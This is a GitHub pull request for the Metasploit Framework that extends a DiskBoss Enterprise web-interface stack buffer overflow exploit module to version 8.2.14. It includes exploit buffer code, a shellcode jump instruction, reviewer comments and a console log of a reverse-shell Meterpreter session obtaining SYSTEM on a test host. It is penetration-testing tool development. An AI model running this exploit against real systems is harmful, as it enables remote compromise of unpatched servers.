Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Update DiskBoss Module (EDB 42395) #9268

Merged
merged 2 commits into from Dec 28, 2017

Conversation

jrobles-r7
Copy link
Contributor

@jrobles-r7 jrobles-r7 commented Dec 1, 2017

Added a new target option for the
DiskBoss Server.

This is an MSF port of https://www.exploit-db.com/exploits/42395/. The module exploits a stack-based buffer overflow vulnerability in the web interface of DiskBoss Enterprise version 8.2.14. The vulnerable application is available for download at https://www.exploit-db.com/apps/7e7d6455ada0833b6bf11167e43977df-diskbossent_setup_v8.2.14.exe.

Verification

  • Start DiskBoss Enterprise service
  • Start DiskBoss Enterprise client application
  • Navigate to Tools > DiskBoss Server Options > Server
  • Check Enable Web Server On Port 80 to start the web interface
  • Start msfconsole
  • Do use exploit/windows/http/diskboss_get_bof
  • Do set rhost <target IP>
  • Do check
  • Verify that the target is vulnerable
  • Do set payload windows/meterpreter/reverse_tcp
  • Do set lhost <framework system IP>
  • Do run
  • Verify that the Meterpreter session is opened

Added a new target option for the
DiskBoss Server.
'vportal', # Vulnerability discovery and PoC
'Gabor Seljan', # Metasploit module
'Ahmad Mahfouz', # Vulnerability discovery and PoC
'Jacob Robles' # Metasploit module
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'd reorder to put your name next to Gabor's.

sploit << rand_text_alpha(mytarget['Offset'] - payload.encoded.length)
sploit << [mytarget.ret].pack('V')
sploit << rand_text_alpha(2500)
if !(mytarget == targets[3])
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

How about rewriting this to use positive logic?

if mytarget == targets[3]
  do_some_stuff
else
  do_some_other_stuff
end

sploit << make_nops(10)
sploit << "\xE9\x25\xBF\xFF\xFF" # JMP to ShellCode
sploit << rand_text_alpha(5000 - sploit.length)

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Nix this newline when you refactor.

sploit << rand_text_alpha(mytarget['Offset'] - payload.encoded.length)
sploit[sploit.length, seh.length] = seh
sploit << make_nops(10)
sploit << "\xE9\x25\xBF\xFF\xFF" # JMP to ShellCode
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

How about Rex::Arch::X86.jmp(0xffffbf25) and document what the address is?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I took a note to look this up and add it later, will land for now. Thx!

@pbarry-r7
Copy link
Contributor

Verified fine for me:

$ ./msfconsole -q
msf > use exploit/windows/http/diskboss_get_bof
msf exploit(diskboss_get_bof) > set rhost 10.0.2.10
rhost => 10.0.2.10
msf exploit(diskboss_get_bof) > check
[+] 10.0.2.10:80 The target is vulnerable.
msf exploit(diskboss_get_bof) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(diskboss_get_bof) > set lhost 10.0.2.4
lhost => 10.0.2.4
msf exploit(diskboss_get_bof) > run

[*] Started reverse TCP handler on 10.0.2.4:4444 
[*] Automatically detecting the target...
[*] Selected Target: DiskBoss Enterprise v8.2.14
[*] Sending stage (179779 bytes) to 10.0.2.10
[*] Meterpreter session 1 opened (10.0.2.4:4444 -> 10.0.2.10:49294) at 2017-12-02 16:19:42 -0600

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Looks good and thanks, @jrobles-r7! If you wouldn't mind updating the PR with @wvu-r7's feedback whenever is convenient, I can do one more quick verify and land.

@pbarry-r7
Copy link
Contributor

I went ahead and made the requested review changes, all except updating the comment to reflect info about the address being JMP'd to.

@@ -127,21 +127,23 @@ def exploit
print_status("Selected Target: #{mytarget.name}")
end

if !(mytarget == targets[3])
case mytarget
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Even better!

@pbarry-r7 pbarry-r7 merged commit 604b949 into rapid7:master Dec 28, 2017
pbarry-r7 added a commit that referenced this pull request Dec 28, 2017
@pbarry-r7
Copy link
Contributor

Release Notes

This patch updates the DiskBoss Enterprise buffer overflow exploit module to also work with v8.2.14.

@jrobles-r7 jrobles-r7 deleted the diskboss-additional-target branch February 20, 2018 13:16
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

4 participants